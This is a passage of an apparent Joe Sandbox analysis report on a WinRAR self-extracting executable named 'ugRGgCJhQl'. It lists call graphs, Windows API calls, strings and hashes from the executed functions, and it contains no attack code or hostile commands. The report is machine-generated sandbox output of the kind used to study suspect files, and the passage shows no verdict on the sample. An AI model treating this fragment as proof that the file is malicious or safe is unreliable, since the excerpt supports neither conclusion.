25133 2e7c69 25132->25133 25133->25103 25141 2ed12a __InternalCxxFrameHandler 25134->25141 25135 2ed2ce 25138 2f0e08 SetThreadExecutionState RaiseException 25135->25138 25136 2ed29a 25136->25135 25137 2ed0cb 6 API calls 25136->25137 25137->25135 25140 2ed291 25138->25140 25139 2f8c8d 103 API calls 25139->25141 25140->25106 25141->25136 25141->25139 25141->25140 25142 2eac05 91 API calls 25141->25142 25142->25141 25143->25106 25144->25118 25145->25118 25146->25125 25147->24861 25148->24861 25149->24863 25151 2e5d2a 25150->25151 25197 2e5c4b 25151->25197 25153 2e5d5d 25155 2e5d95 25153->25155 25202 2eb1dc CharUpperW CompareStringW _wcslen ___vcrt_FlsFree 25153->25202 25155->24876 25157 2e8186 25156->25157 25158 2e8232 25157->25158 25209 2ebe5e 19 API calls __InternalCxxFrameHandler 25157->25209 25208 2f1fac CharUpperW 25158->25208 25161 2e823b 25161->24879 25163 2e7c22 25162->25163 25164 2e7c5a 25163->25164 25210 2e6e7a 74 API calls 25163->25210 25164->24890 25166 2e7c52 25211 2e138b 74 API calls 25166->25211 25168->24942 25170 2e9db3 25169->25170 25173 2e9dc2 25169->25173 25171 2e9db9 FlushFileBuffers 25170->25171 25170->25173 25171->25173 25172 2e9e3f SetFileTime 25172->24947 25173->25172 25174->24871 25175->24880 25176->24880 25177->24890 25178->24890 25179->24887 25180->24897 25181->24892 25182->24897 25184 2e98c5 GetFileType 25183->25184 25185 2e8b5a 25183->25185 25184->25185 25185->24912 25186 2e2021 74 API calls 25185->25186 25186->24910 25187->24912 25188->24913 25189->24938 25190->24938 25191->24938 25192->24938 25193->24938 25194->24939 25195->24950 25196->24941 25203 2e5b48 25197->25203 25199 2e5c6c 25199->25153 25201 2e5b48 2 API calls 25201->25199 25202->25153 25205 2e5b52 25203->25205 25204 2e5c3a 25204->25199 25204->25201 25205->25204 25207 2eb1dc CharUpperW CompareStringW _wcslen ___vcrt_FlsFree 25205->25207 25207->25205 25208->25161 25209->25158 25210->25166 25211->25164 25213 2ecef2 25212->25213 25218 2ea99e 86 API calls 25213->25218 25215 2ecf24 25219 2ea99e 86 API calls 25215->25219 25217 2ecf2f 25218->25215 25219->25217 25220->24960 25222 2ea6a8 25221->25222 25223 2ea727 FindNextFileW 25222->25223 25224 2ea6c1 FindFirstFileW 25222->25224 25225 2ea732 GetLastError 25223->25225 25231 2ea709 25223->25231 25226 2ea6d0 25224->25226 25224->25231 25225->25231 25227 2ebb03 GetCurrentDirectoryW 25226->25227 25228 2ea6e0 25227->25228 25229 2ea6fe GetLastError 25228->25229 25230 2ea6e4 FindFirstFileW 25228->25230 25229->25231 25230->25229 25230->25231 25231->24810 25232->24615 25233->24622 25234->24622 25235->24624 25236->24631 25238 2e9f42 78 API calls 25237->25238 25239 2e1fe8 25238->25239 25240 2e1a04 101 API calls 25239->25240 25243 2e2005 25239->25243 25241 2e1ff5 25240->25241 25241->25243 25244 2e138b 74 API calls 25241->25244 25243->24640 25243->24641 25244->25243 25246 2fb5bc GetDlgItem 25245->25246 25247 2fb583 GetMessageW 25245->25247 25246->24651 25246->24652 25248 2fb599 IsDialogMessageW 25247->25248 25249 2fb5a8 TranslateMessage DispatchMessageW 25247->25249 25248->25246 25248->25249 25249->25246 25250 2e13e1 84 API calls 2 library calls 25411 2f94e0 GetClientRect 25412 2ff2e0 46 API calls __RTC_Initialize 25456 2f21e0 26 API calls std::bad_exception::bad_exception 25413 30bee0 GetCommandLineA GetCommandLineW 25415 2e5ef0 82 API calls 25458 2e95f0 80 API calls 25459 2ffd4f 9 API calls 2 library calls 25462 30a3d0 21 API calls 2 library calls 25463 312bd0 VariantClear 25419 2f62ca 123 API calls __InternalCxxFrameHandler 25420 300ada 51 API calls 2 library calls 25282 2fdec2 25283 2fdecf 25282->25283 25284 2ee617 53 API calls 25283->25284 25285 2fdedc 25284->25285 25286 2e4092 _swprintf 51 API calls 25285->25286 25287 2fdef1 SetDlgItemTextW 25286->25287 25288 2fb568 5 API calls 25287->25288 25289 2fdf0e 25288->25289 25466 2fb5c0 100 API calls 25467 2f77c0 118 API calls 25468 2fffc0 RaiseException _com_error::_com_error CallUnexpected 25354 2fe2d7 25355 2fe1db 25354->25355 25356 2fe85d ___delayLoadHelper2@8 14 API calls 25355->25356 25356->25355 25358 2e10d5 25363 2e5abd 25358->25363 25364 2e5ac7 __EH_prolog 25363->25364 25365 2eb505 84 API calls 25364->25365 25366 2e5ad3 25365->25366 25370 2e5cac GetCurrentProcess GetProcessAffinityMask 25366->25370 25421 2ff4d3 20 API calls 25371 2fe1d1 14 API calls ___delayLoadHelper2@8

                                                                        Executed Functions

                                                                        Function 002FDF1E Relevance: 42.2, APIs: 17, Strings: 7, Instructions: 195filesleeptimeCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        APIs
                                                                          • Part of subcall function 002F0863: GetModuleHandleW.KERNEL32(kernel32), ref: 002F087C
                                                                          • Part of subcall function 002F0863: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 002F088E
                                                                          • Part of subcall function 002F0863: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 002F08BF
                                                                          • Part of subcall function 002FA64D: GetCurrentDirectoryW.KERNEL32(?,?), ref: 002FA655
                                                                          • Part of subcall function 002FAC16: OleInitialize.OLE32(00000000), ref: 002FAC2F
                                                                          • Part of subcall function 002FAC16: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 002FAC66
                                                                          • Part of subcall function 002FAC16: SHGetMalloc.SHELL32(00328438), ref: 002FAC70
                                                                        • GetCommandLineW.KERNEL32 ref: 002FDF5C
                                                                        • OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 002FDF83
                                                                        • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 002FDF94
                                                                        • UnmapViewOfFile.KERNEL32(00000000), ref: 002FDFCE
                                                                          • Part of subcall function 002FDBDE: SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 002FDBF4
                                                                          • Part of subcall function 002FDBDE: SetEnvironmentVariableW.KERNELBASE(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 002FDC30
                                                                        • CloseHandle.KERNEL32(00000000), ref: 002FDFD7
                                                                        • GetModuleFileNameW.KERNEL32(00000000,0033EC90,00000800), ref: 002FDFF2
                                                                        • SetEnvironmentVariableW.KERNEL32(sfxname,0033EC90), ref: 002FDFFE
                                                                        • GetLocalTime.KERNEL32(?), ref: 002FE009
                                                                        • _swprintf.LIBCMT ref: 002FE048
                                                                        • SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 002FE05A
                                                                        • GetModuleHandleW.KERNEL32(00000000), ref: 002FE061
                                                                        • LoadIconW.USER32(00000000,00000064), ref: 002FE078
                                                                        • DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001B7E0,00000000), ref: 002FE0C9
                                                                        • Sleep.KERNEL32(?), ref: 002FE0F7
                                                                        • DeleteObject.GDI32 ref: 002FE130
                                                                        • DeleteObject.GDI32(?), ref: 002FE140
                                                                        • CloseHandle.KERNEL32 ref: 002FE183
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$CommandCurrentDialogDirectoryGdiplusIconInitializeLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
                                                                        • String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\Desktop$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp$xz3
                                                                        • API String ID: 3049964643-4056996289
                                                                        • Opcode ID: c784d425b010fa5858afaf58f0fc480a90b486871e0be45ff816575310f02fcc
                                                                        • Instruction ID: d3e92ab985fabc9bafca0b10d1e4ce1a09975762f556a97fb9eaa918a3a73159
                                                                        • Opcode Fuzzy Hash: c784d425b010fa5858afaf58f0fc480a90b486871e0be45ff816575310f02fcc
                                                                        • Instruction Fuzzy Hash: C3612871914249AFD723AF75EC89FBBB7ECAB48780F000439FA05922A1DB749D54CB61
                                                                        Function 002FA6C2 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 100memorywindowCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 812 2fa6c2-2fa6df FindResourceW 813 2fa7db 812->813 814 2fa6e5-2fa6f6 SizeofResource 812->814 815 2fa7dd-2fa7e1 813->815 814->813 816 2fa6fc-2fa70b LoadResource 814->816 816->813 817 2fa711-2fa71c LockResource 816->817 817->813 818 2fa722-2fa737 GlobalAlloc 817->818 819 2fa73d-2fa746 GlobalLock 818->819 820 2fa7d3-2fa7d9 818->820 821 2fa7cc-2fa7cd GlobalFree 819->821 822 2fa74c-2fa76a call 300320 819->822 820->815 821->820 826 2fa76c-2fa78e call 2fa626 822->826 827 2fa7c5-2fa7c6 GlobalUnlock 822->827 826->827 832 2fa790-2fa798 826->832 827->821 833 2fa79a-2fa7ae GdipCreateHBITMAPFromBitmap 832->833 834 2fa7b3-2fa7c1 832->834 833->834 835 2fa7b0 833->835 834->827 835->834
                                                                        APIs
                                                                        • FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,002FB73D,00000066), ref: 002FA6D5
                                                                        • SizeofResource.KERNEL32(00000000,?,?,?,002FB73D,00000066), ref: 002FA6EC
                                                                        • LoadResource.KERNEL32(00000000,?,?,?,002FB73D,00000066), ref: 002FA703
                                                                        • LockResource.KERNEL32(00000000,?,?,?,002FB73D,00000066), ref: 002FA712
                                                                        • GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,002FB73D,00000066), ref: 002FA72D
                                                                        • GlobalLock.KERNEL32(00000000,?,?,?,?,?,002FB73D,00000066), ref: 002FA73E
                                                                        • GlobalUnlock.KERNEL32(00000000), ref: 002FA7C6
                                                                          • Part of subcall function 002FA626: GdipAlloc.GDIPLUS(00000010), ref: 002FA62C
                                                                        • GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 002FA7A7
                                                                        • GlobalFree.KERNEL32(00000000), ref: 002FA7CD
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: GlobalResource$AllocGdipLock$BitmapCreateFindFreeFromLoadSizeofUnlock
                                                                        • String ID: F0wn/$PNG
                                                                        • API String ID: 541704414-1739358263
                                                                        • Opcode ID: 07bbc5967194af146a7704dfec5e1c4d29d6d9cb69b1a7e5c6076040b7d583d3
                                                                        • Instruction ID: 53d8430c2b9a28638322467bb467b38b09d07fa6ab6f90a8ab6f4fcda99ff3b9
                                                                        • Opcode Fuzzy Hash: 07bbc5967194af146a7704dfec5e1c4d29d6d9cb69b1a7e5c6076040b7d583d3
                                                                        • Instruction Fuzzy Hash: E731A4B5500306BFD712AF21DC48D6BFFBDEF887A0F104538F90A92260EB31D9518A61
                                                                        Function 002EA69B Relevance: 7.6, APIs: 5, Instructions: 105fileCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 1026 2ea69b-2ea6bf call 2fec50 1029 2ea727-2ea730 FindNextFileW 1026->1029 1030 2ea6c1-2ea6ce FindFirstFileW 1026->1030 1031 2ea742-2ea7ff call 2f0602 call 2ec310 call 2f15da * 3 1029->1031 1032 2ea732-2ea740 GetLastError 1029->1032 1030->1031 1033 2ea6d0-2ea6e2 call 2ebb03 1030->1033 1037 2ea804-2ea811 1031->1037 1034 2ea719-2ea722 1032->1034 1041 2ea6fe-2ea707 GetLastError 1033->1041 1042 2ea6e4-2ea6fc FindFirstFileW 1033->1042 1034->1037 1043 2ea709-2ea70c 1041->1043 1044 2ea717 1041->1044 1042->1031 1042->1041 1043->1044 1046 2ea70e-2ea711 1043->1046 1044->1034 1046->1044 1048 2ea713-2ea715 1046->1048 1048->1034
                                                                        APIs
                                                                        • FindFirstFileW.KERNELBASE(?,?,?,?,?,?,002EA592,000000FF,?,?), ref: 002EA6C4
                                                                          • Part of subcall function 002EBB03: _wcslen.LIBCMT ref: 002EBB27
                                                                        • FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,002EA592,000000FF,?,?), ref: 002EA6F2
                                                                        • GetLastError.KERNEL32(?,?,00000800,?,?,?,?,002EA592,000000FF,?,?), ref: 002EA6FE
                                                                        • FindNextFileW.KERNEL32(?,?,?,?,?,?,002EA592,000000FF,?,?), ref: 002EA728
                                                                        • GetLastError.KERNEL32(?,?,?,?,002EA592,000000FF,?,?), ref: 002EA734
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: FileFind$ErrorFirstLast$Next_wcslen
                                                                        • String ID:
                                                                        • API String ID: 42610566-0
                                                                        • Opcode ID: 43f8e80a2ba6d170848766e64152ccaa0e2a01d87736951f2bc79f9f42fadecd
                                                                        • Instruction ID: 28119ac6bdf2e3bf3540a03267534d8368c40dd7786759b2ac940d39e90c29c8
                                                                        • Opcode Fuzzy Hash: 43f8e80a2ba6d170848766e64152ccaa0e2a01d87736951f2bc79f9f42fadecd
                                                                        • Instruction Fuzzy Hash: CA417F72910559ABCB25DF64CC84AEEF7B8FB48350F5041A6E55EE3200D7346EA0CF90
                                                                        Function 00307DEE Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetCurrentProcess.KERNEL32(00000000,?,00307DC4,00000000,0031C300,0000000C,00307F1B,00000000,00000002,00000000), ref: 00307E0F
                                                                        • TerminateProcess.KERNEL32(00000000,?,00307DC4,00000000,0031C300,0000000C,00307F1B,00000000,00000002,00000000), ref: 00307E16
                                                                        • ExitProcess.KERNEL32 ref: 00307E28
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: Process$CurrentExitTerminate
                                                                        • String ID:
                                                                        • API String ID: 1703294689-0
                                                                        • Opcode ID: e897fba151f78157804ebf2814b57e8e8da1412d1ee7da8f827e48acc72769ce
                                                                        • Instruction ID: b765182273068e89d5b0ca1686efc9c923e466df27d19077c5194748fa9c66a9
                                                                        • Opcode Fuzzy Hash: e897fba151f78157804ebf2814b57e8e8da1412d1ee7da8f827e48acc72769ce
                                                                        • Instruction Fuzzy Hash: 6AE04F31442144EBCF036F14CD1998A7F69EB08341F008454F8098A172CB36EE51CB90
                                                                        Function 002E848E Relevance: 2.5, APIs: 1, Instructions: 960COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: H_prolog
                                                                        • String ID:
                                                                        • API String ID: 3519838083-0
                                                                        • Opcode ID: 1a95e0ec9c507419e45a79045a3c137c8f9bb73e57bff805d42dcedf76e0404b
                                                                        • Instruction ID: f18f036ef22bbe024686c21d2aa668d76dab57995dd5c70fa109e38cb5783c21
                                                                        • Opcode Fuzzy Hash: 1a95e0ec9c507419e45a79045a3c137c8f9bb73e57bff805d42dcedf76e0404b
                                                                        • Instruction Fuzzy Hash: F0823F709641C6AEDF15CF65C891BF9B7B9BF15300F8841BAE88D9B142DF305AA4CB60
                                                                        Function 002FB7E0 Relevance: 107.5, APIs: 48, Strings: 13, Instructions: 731windowfilesleepCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • __EH_prolog.LIBCMT ref: 002FB7E5
                                                                          • Part of subcall function 002E1316: GetDlgItem.USER32(00000000,00003021), ref: 002E135A
                                                                          • Part of subcall function 002E1316: SetWindowTextW.USER32(00000000,003135F4), ref: 002E1370
                                                                        • SetDlgItemTextW.USER32(?,00000001,00000000), ref: 002FB8D1
                                                                        • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 002FB8EF
                                                                        • IsDialogMessageW.USER32(?,?), ref: 002FB902
                                                                        • TranslateMessage.USER32(?), ref: 002FB910
                                                                        • DispatchMessageW.USER32(?), ref: 002FB91A
                                                                        • GetDlgItemTextW.USER32(?,00000066,?,00000800), ref: 002FB93D
                                                                        • KiUserCallbackDispatcher.NTDLL(?,00000001), ref: 002FB960
                                                                        • GetDlgItem.USER32(?,00000068), ref: 002FB983
                                                                        • SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 002FB99E
                                                                        • SendMessageW.USER32(00000000,000000C2,00000000,003135F4), ref: 002FB9B1
                                                                          • Part of subcall function 002FD453: _wcschr.LIBVCRUNTIME ref: 002FD45C
                                                                          • Part of subcall function 002FD453: _wcslen.LIBCMT ref: 002FD47D
                                                                        • SetFocus.USER32(00000000), ref: 002FB9B8
                                                                        • _swprintf.LIBCMT ref: 002FBA24
                                                                          • Part of subcall function 002E4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 002E40A5
                                                                          • Part of subcall function 002FD4D4: GetDlgItem.USER32(00000068,0033FCB8), ref: 002FD4E8
                                                                          • Part of subcall function 002FD4D4: ShowWindow.USER32(00000000,00000005,?,?,?,002FAF07,00000001,?,?,002FB7B9,0031506C,0033FCB8,0033FCB8,00001000,00000000,00000000), ref: 002FD510
                                                                          • Part of subcall function 002FD4D4: SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 002FD51B
                                                                          • Part of subcall function 002FD4D4: SendMessageW.USER32(00000000,000000C2,00000000,003135F4), ref: 002FD529
                                                                          • Part of subcall function 002FD4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 002FD53F
                                                                          • Part of subcall function 002FD4D4: SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 002FD559
                                                                          • Part of subcall function 002FD4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 002FD59D
                                                                          • Part of subcall function 002FD4D4: SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 002FD5AB
                                                                          • Part of subcall function 002FD4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 002FD5BA
                                                                          • Part of subcall function 002FD4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 002FD5E1
                                                                          • Part of subcall function 002FD4D4: SendMessageW.USER32(00000000,000000C2,00000000,003143F4), ref: 002FD5F0
                                                                        • GetLastError.KERNEL32(?,00000000,00000000,00000000,?), ref: 002FBA68
                                                                        • GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?), ref: 002FBA90
                                                                        • GetTickCount.KERNEL32 ref: 002FBAAE
                                                                        • _swprintf.LIBCMT ref: 002FBAC2
                                                                        • GetLastError.KERNEL32(?,00000011), ref: 002FBAF4
                                                                        • GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,00000000,00000000,00000000,?), ref: 002FBB43
                                                                        • _swprintf.LIBCMT ref: 002FBB7C
                                                                        • CreateFileMappingW.KERNEL32(000000FF,00000000,08000004,00000000,00007104,winrarsfxmappingfile.tmp), ref: 002FBBD0
                                                                        • GetCommandLineW.KERNEL32 ref: 002FBBEA
                                                                        • MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000,?), ref: 002FBC47
                                                                        • ShellExecuteExW.SHELL32(0000003C), ref: 002FBC6F
                                                                        • Sleep.KERNEL32(00000064), ref: 002FBCB9
                                                                        • UnmapViewOfFile.KERNEL32(?,?,0000430C,?,00000080), ref: 002FBCE2
                                                                        • CloseHandle.KERNEL32(00000000), ref: 002FBCEB
                                                                        • _swprintf.LIBCMT ref: 002FBD1E
                                                                        • SetDlgItemTextW.USER32(?,00000001,00000000), ref: 002FBD7D
                                                                        • SetDlgItemTextW.USER32(?,00000065,003135F4), ref: 002FBD94
                                                                        • GetDlgItem.USER32(?,00000065), ref: 002FBD9D
                                                                        • GetWindowLongW.USER32(00000000,000000F0), ref: 002FBDAC
                                                                        • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 002FBDBB
                                                                        • SetDlgItemTextW.USER32(?,00000001,00000000), ref: 002FBE68
                                                                        • _wcslen.LIBCMT ref: 002FBEBE
                                                                        • _swprintf.LIBCMT ref: 002FBEE8
                                                                        • SendMessageW.USER32(?,00000080,00000001,?), ref: 002FBF32
                                                                        • SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,?), ref: 002FBF4C
                                                                        • GetDlgItem.USER32(?,00000068), ref: 002FBF55
                                                                        • SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 002FBF6B
                                                                        • GetDlgItem.USER32(?,00000066), ref: 002FBF85
                                                                        • SetWindowTextW.USER32(00000000,0032A472), ref: 002FBFA7
                                                                        • SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 002FC007
                                                                        • SetDlgItemTextW.USER32(?,00000001,00000000), ref: 002FC01A
                                                                        • DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_0001B5C0,00000000,?), ref: 002FC0BD
                                                                        • EnableWindow.USER32(00000000,00000000), ref: 002FC197
                                                                        • SendMessageW.USER32(?,00000111,00000001,00000000), ref: 002FC1D9
                                                                          • Part of subcall function 002FC73F: __EH_prolog.LIBCMT ref: 002FC744
                                                                        • SetDlgItemTextW.USER32(?,00000001,00000000), ref: 002FC1FD
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: Message$ItemSend$Text$Window$_swprintf$File$ErrorLast$DialogH_prologLongView_wcslen$CallbackCloseCommandCountCreateDispatchDispatcherEnableExecuteFocusHandleLineMappingModuleNameParamShellShowSleepTickTranslateUnmapUser__vswprintf_c_l_wcschr
                                                                        • String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\Desktop$LICENSEDLG$STARTDLG$^/$__tmp_rar_sfx_access_check_%u$h/$winrarsfxmappingfile.tmp$Q1
                                                                        • API String ID: 3829768659-2133363237
                                                                        • Opcode ID: 26c264b7eabe5203897800ace91b1c1956e746134b4389d5aa0c5bf4cf77dea4
                                                                        • Instruction ID: ae740442bcd9210a420f4f887501c0ad1ea8b7a670fd6656e6cdaf987b1166ee
                                                                        • Opcode Fuzzy Hash: 26c264b7eabe5203897800ace91b1c1956e746134b4389d5aa0c5bf4cf77dea4
                                                                        • Instruction Fuzzy Hash: F042F470D9024DBEEB23AF60DD4AFBEB76C9B12780F100169F745A60D2CB745A648F21
                                                                        Function 002F0863 Relevance: 98.3, APIs: 23, Strings: 33, Instructions: 316libraryfileloaderCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 268 2f0863-2f0886 call 2fec50 GetModuleHandleW 271 2f0888-2f089f GetProcAddress 268->271 272 2f08e7-2f0b48 268->272 275 2f08b9-2f08c9 GetProcAddress 271->275 276 2f08a1-2f08b7 271->276 273 2f0b4e-2f0b59 call 3075fb 272->273 274 2f0c14-2f0c40 GetModuleFileNameW call 2ec29a call 2f0602 272->274 273->274 285 2f0b5f-2f0b8d GetModuleFileNameW CreateFileW 273->285 290 2f0c42-2f0c4e call 2eb146 274->290 278 2f08cb-2f08e0 275->278 279 2f08e5 275->279 276->275 278->279 279->272 288 2f0b8f-2f0b9b SetFilePointer 285->288 289 2f0c08-2f0c0f CloseHandle 285->289 288->289 291 2f0b9d-2f0bb9 ReadFile 288->291 289->274 297 2f0c7d-2f0ca4 call 2ec310 GetFileAttributesW 290->297 298 2f0c50-2f0c5b call 2f081b 290->298 291->289 294 2f0bbb-2f0be0 291->294 296 2f0bfd-2f0c06 call 2f0371 294->296 296->289 305 2f0be2-2f0bfc call 2f081b 296->305 308 2f0cae 297->308 309 2f0ca6-2f0caa 297->309 298->297 307 2f0c5d-2f0c7b CompareStringW 298->307 305->296 307->297 307->309 310 2f0cb0-2f0cb5 308->310 309->290 312 2f0cac 309->312 313 2f0cec-2f0cee 310->313 314 2f0cb7 310->314 312->310 316 2f0dfb-2f0e05 313->316 317 2f0cf4-2f0d0b call 2ec2e4 call 2eb146 313->317 315 2f0cb9-2f0ce0 call 2ec310 GetFileAttributesW 314->315 322 2f0cea 315->322 323 2f0ce2-2f0ce6 315->323 327 2f0d0d-2f0d6e call 2f081b * 2 call 2ee617 call 2e4092 call 2ee617 call 2fa7e4 317->327 328 